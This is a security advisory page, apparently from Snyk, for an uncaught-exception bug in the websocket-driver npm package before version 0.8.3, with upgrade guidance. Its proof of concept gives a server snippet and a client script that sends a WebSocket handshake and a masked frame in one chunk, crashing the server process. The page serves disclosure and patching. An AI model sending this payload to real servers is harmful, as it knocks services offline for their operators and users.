Uncaught Exception Affecting websocket-driver package, versions <0.8.3


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.92% (62nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Uncaught Exception vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-WEBSOCKETDRIVER-23745886
  • published4 Dec 2026
  • disclosed4 Dec 2026
  • credit陳昱昇(YuSheng Chen)

Introduced: 4 Dec 2026

NewCVE-2026-144303  (opens in a new tab)
CWE-248  (opens in a new tab)

How to fix?

Upgrade websocket-driver to version 0.8.3 or higher.

Overview

websocket-driver is a websocket protocol handler with pluggable I/O.

Affected versions of this package are vulnerable to Uncaught Exception via driver.io.write() being called before driver.start() in the websocket.http() driver. When a remote client sends WebSocket message data in the same TCP chunk as its handshake request headers, the Node HTTP upgrade event delivers that extra data as the body argument. Writing this non-empty body to the driver's I/O stream before start() is called triggers an unhandled exception because the RFC 6455 (hybi) parser is not yet initialised, crashing the process.

PoC

Given a server set up as follows:

const http = require('http')
const websocket = require('websocket-driver')

let server = http.createServer()

server.on('upgrade', (request, socket, body) => { if (!websocket.isWebSocket(request)) return

let driver = websocket.http(request)

driver.io.write(body) socket.pipe(driver.io).pipe(socket)

driver.messages.on('data', (m) => console.log({ m }))

driver.start() })

server.listen(5077, '127.0.0.1')

The following client opens a connection and constructs a buffer containing WebSocket handshake headers immediately followed by a WebSocket message. It writes this buffer to the socket as a single chunk.

const net = require('net')

let socket = net.connect(5077, '127.0.0.1')

let httpMessage = Buffer.from( 'GET / HTTP/1.1\r\n' + 'Host: 127.0.0.1\r\n' + 'Connection: Upgrade\r\n' + 'Upgrade: websocket\r\n' + Sec-WebSocket-Key: ${btoa(&#39;the sample nonce&#39;)}\r\n + 'Sec-WebSocket-Version: 13\r\n' + '\r\n' )

// FIN = 1, mask key 00 00 00 00, payload 'a' let maskedTextFrame = Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61])

// the frame is sent in the same write as the handshake, // so it arrives in the body (head) argument of the 'upgrade' event socket.write(Buffer.concat([httpMessage, maskedTextFrame])) socket.on('error', () => {})

On receiving this chunk, the server immediately crashes. After patching, the server prints the message the client sent.

CVSS Base Scores

version 4.0
version 3.1